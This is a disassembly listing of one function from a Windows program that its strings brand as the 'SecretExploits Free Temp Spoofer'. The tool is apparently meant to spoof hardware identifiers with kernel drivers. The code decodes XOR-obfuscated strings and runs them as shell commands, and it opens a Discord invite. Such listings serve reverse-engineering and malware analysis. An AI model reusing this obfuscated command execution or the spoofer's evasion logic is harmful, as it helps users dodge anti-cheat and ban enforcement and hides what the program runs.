Function at 0x14002c980
Capabilities:
Create thread
Encode data using xor
Encrypt data using speck
Enumerate gui resources
Execute command
Get session user name
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11d0]
mov eax, 0x12d0
call fcn.14009c090
sub rsp, rax
movaps xmmword [rsp + 0x12c0], xmm6
movaps xmmword [rsp + 0x12b0], xmm7
movaps xmmword [rsp + 0x12a0], xmm8
movaps xmmword [rsp + 0x1290], xmm9
mov rax, qword [0x1400c1080]
xor rax, rsp
mov qword [rbp + 0x1180], rax
xor r13d, r13d
mov r12d, r13d
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x54], r13d
mov r14d, r13d
mov dword [rsp + 0x50], r13d
mov eax, r13d
mov dword [rbp - 0x20], eax
mov dword [rsp + 0x5c], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea edx, [r13 - 0x10]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
and eax, 0xfffaffff
mov r8d, eax
lea edx, [r13 - 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov qword [0x1400c2238], r12
mov qword [0x1400c1f68], r12
mov word [0x1400c2240], r12w
mov word [0x1400c1f70], r12w
mov byte [0x1400c2242], r12b
mov byte [0x1400c1f72], r12b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1400c2250], xmm0
movups xmmword [0x1400c2260], xmm0
movups xmmword [0x1400c2270], xmm0
movups xmmword [0x1400c2280], xmm0
mov byte [0x1400c2290], al
mov dword [0x1400c1f60], eax
movups xmmword [0x1400c1f98], xmm0
mov qword [0x1400c1fa8], rax
mov dword [0x1400c1fb0], eax
mov byte [0x1400c1fb4], al
xor edx, edx
lea rcx, [0x14002acc0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x1400b3fe4]
mov dword [rbp + 0xe28], eax
movzx eax, word [0x1400b3fe8]
mov word [rbp + 0xe2c], ax
mov byte [rbp + 0xe28], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp + 0xe29], 0x37
xor byte [rbp + 0xe2a], 0x38
xor byte [rbp + 0xe2b], 0x39
xor al, 0x3a
mov byte [rbp + 0xe2c], al
xor byte [rbp + 0xe2d], 0x3b
lea rcx, [rbp + 0xe28]
call fcn.14002c690
test al, al
jne 0x1400368b1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1400368b1
lea ecx, [r13 + 8]
call fcn.14009b810
lea rcx, [0x14002c910]
mov qword [rax], rcx
mov qword [rbp + 0xe20], rax
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x140038ce0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x20], rax
test rax, rax
je 0x1400368a1
cmp dword [rbp + 0x28], r13d
je 0x140036895
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140036895
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [0x1400c1fc0]
call fcn.140044da0
mov qword [rbp + 0xec0], 0x54
mov qword [rbp + 0xec8], 0x140008
mov dword [rbp + 0xed0], 0x190
lea r8, str.Consolas
lea edx, [r13 + 0x20]
lea rcx, [rbp + 0xed4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rbp + 0xec0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
mov dword [rbp + 0xe50], r13d
mov dword [rbp + 0xe54], 0x6400a1
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea r8, [rbp + 0xe50]
lea edx, [r13 + 1]
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rsp + 0x54], 0x6500a1
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [rbp + 0xe28], 0x640097
mov edx, dword [rbp + 0xe28]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x54]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r13 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r13 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
movups xmm0, xmmword [str.eR_K_O]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400b4a98]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400b4aa8]
movups xmmword [rbp - 0x60], xmm0
mov eax, dword [0x1400b4ab8]
mov dword [rbp - 0x50], eax
movzx eax, word [0x1400b4abc]
mov word [rbp - 0x4c], ax
mov r8d, r13d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14002ce1d
movdqa xmm5, xmmword [0x1400b4b50]
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm6, xmmword [0x1400b4b70]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x14002cd10
cmp r8d, 0x36
jge 0x14002ce63
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x36
jl 0x14002ce30
lea rax, [rbp - 0x80]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002ce70
movabs rax, 0x7fffffffffffffff
mov rdx, qword [0x1400c1f30]
sub rax, rdx
cmp rax, rcx
jae 0x14002ce98
call fcn.1400024c0
int3
lea rax, [0x1400c1f20]
cmp qword [0x1400c1f38], 0xf
cmova rax, qword [0x1400c1f20]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x80]
lea rcx, [rbp + 0xb0]
call fcn.140038520
nop
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0xb0]
call fcn.140036f60
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [0x1400c1f40]
cmp qword [0x1400c1f58], 0xf
cmova rdx, qword [0x1400c1f40]
mov r8, qword [0x1400c1f50]
lea rcx, [rbp + 0x90]
call fcn.140036f60
xorps xmm0, xmm0
movups xmmword [rbp + 0xe60], xmm0
mov qword [rbp + 0xe70], r13
mov qword [rbp + 0xe78], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r15d, 0xe20000
mov dword [rsp + 0x54], r15d
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x14002cfd9
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002cfd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002cfd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bb5c
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14002d036
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002d031
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002d031
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009bb5c
mov qword [rbp + 0xc0], r13
mov qword [rbp + 0xc8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xb0], 0
lea rcx, [rbp + 0xe60]
cmp qword [rbp + 0xe78], 0xf
cmova rcx, qword [rbp + 0xe60]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0xea0000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b13e0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0xe60000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0xe30000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
lea rdx, str._n_n_t.oooooo..o____________________________________________.___ooooooooooooo_________________________________________n_td8P_____Y8__________________________________________.o8___8___888____8_________________________________________n_tY88bo._______.ooooo.___.ooooo.__oooo_d8b__.ooooo.__.o888oo______888_______.ooooo.__ooo._.oo.__.oo.___oo.ooooo.___n_t___Y8888o.__d88__88b_d88___Y8__888__8P_d88__88b___888________888______d88__88b__888P_Y88bP_Y88b___888__88b__n_t_______Y88b_888ooo888_888________888_____888ooo888___888________888______888ooo888__888___888___888___888___888__n_too_____.d8P_888____.o_888___.o8__888_____888____.o___888_.______888______888____.o__888___888___888___888___888__n_t8__88888P___Y8bod8P__Y8bod8P_d888b_____Y8bod8P____888______o888o______Y8bod8P_o888o_o888o_o888o__888bod8P__n_t______________________________________________________________________________________________________888________n_t_____________________________________________________________________________________________________o888o_______n_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________n__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0x10e20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b13e0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0xf20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0x8e20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
lea rcx, str.start_https:__discord.gg_secretexploits
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1ce8]
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0x4e20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b13e0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0x2e20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe20], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rbp + 0x70]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x50], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x30]
call fcn.140037ee0
mov dword [rsp + 0x54], 0x1e20000
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x30]
mov rcx, rdi
call fcn.140037300
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x30]
call fcn.140036980
movsd xmm0, qword [str.z_THY]
movsd qword [rbp + 0x60], xmm0
mov eax, dword [str.uZ9bC]
mov dword [rbp + 0x68], eax
movzx eax, word [0x1400b2f24]
mov word [rbp + 0x6c], ax
xor ebx, ebx
cmp byte [0x1400b2f25], bl
je 0x14002d803
mov r8d, ebx
cmp esi, 2
jl 0x14002d7bf
movdqa xmm4, xmmword [0x1400b4ba0]
movdqa xmm2, xmmword [0x1400b4b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.z_THY]
xorps xmm2, xmm0
movd dword [rbp + 0x60], xmm2
movdqa xmm3, xmmword [0x1400b4b60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64]
xorps xmm2, xmm1
movd dword [rbp + 0x64], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14002d7d0
lea rcx, [rbp + 0x60]
call fcn.1400022c0
lea rdx, [0x1400c10f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140037580
lea rdx, [0x1400c10f8]
lea rcx, [rsp + 0x60]
call fcn.140036c60
mov rdx, rax
lea rcx, [0x1400c1fc0]
call fcn.1400466f0
cmp byte [0x1400c21d0], 0
je 0x14003688c
lea rax, [rbp - 0x80]
mov qword [rbp + 0x30], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x38], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x60], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x68], rax
lea rax, [rbp - 0x80]
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x28], rax
movaps xmm7, xmmword [rbp + 0x20]
movaps xmm8, xmmword [rbp + 0x30]
movaps xmm9, xmmword [rbp + 0x60]
nop word [rax + rax]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0xe20], rax
mov ecx, dword [str.U_K9]
mov dword [rbp + 0xe28], ecx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14002d993
cmp esi, 2
jl 0x14002d948
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x14002d993
lea r9, [rbp + 0xe28]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14002d960
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor r8d, r8d
lea edx, [r8 + 3]
call qword [sym.imp.USER32.dll_ShowScrollBar]
lea rdx, str._n_n_t.oooooo..o____________________________________________.___ooooooooooooo_________________________________________n_td8P_____Y8__________________________________________.o8___8___888____8_________________________________________n_tY88bo._______.ooooo.___.ooooo.__oooo_d8b__.ooooo.__.o888oo______888_______.ooooo.__ooo._.oo.__.oo.___oo.ooooo.___n_t___Y8888o.__d88__88b_d88___Y8__888__8P_d88__88b___888________888______d88__88b__888P_Y88bP_Y88b___888__88b__n_t_______Y88b_888ooo888_888________888_____888ooo888___888________888______888ooo888__888___888___888___888___888__n_too_____.d8P_888____.o_888___.o8__888_____888____.o___888_.______888______888____.o__888___888___888___888___888__n_t8__88888P___Y8bod8P__Y8bod8P_d888b_____Y8bod8P____888______o888o______Y8bod8P_o888o_o888o_o888o__888bod8P__n_t______________________________________________________________________________________________________888________n_t___________________________Hey__Thanks_for_choosing_SecretExploits_Free_Temp_Spoofer.________________o888o_________n_______________For_some_people_driver_maybe_dont_work__so_we_added_4_different_drivers_for_the_best_experience________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rbp + 0xe28], rax
lea rdx, [0x1400b1430]
lea rcx, [rsp + 0x60]
call fcn.140036b40
mov rbx, rax
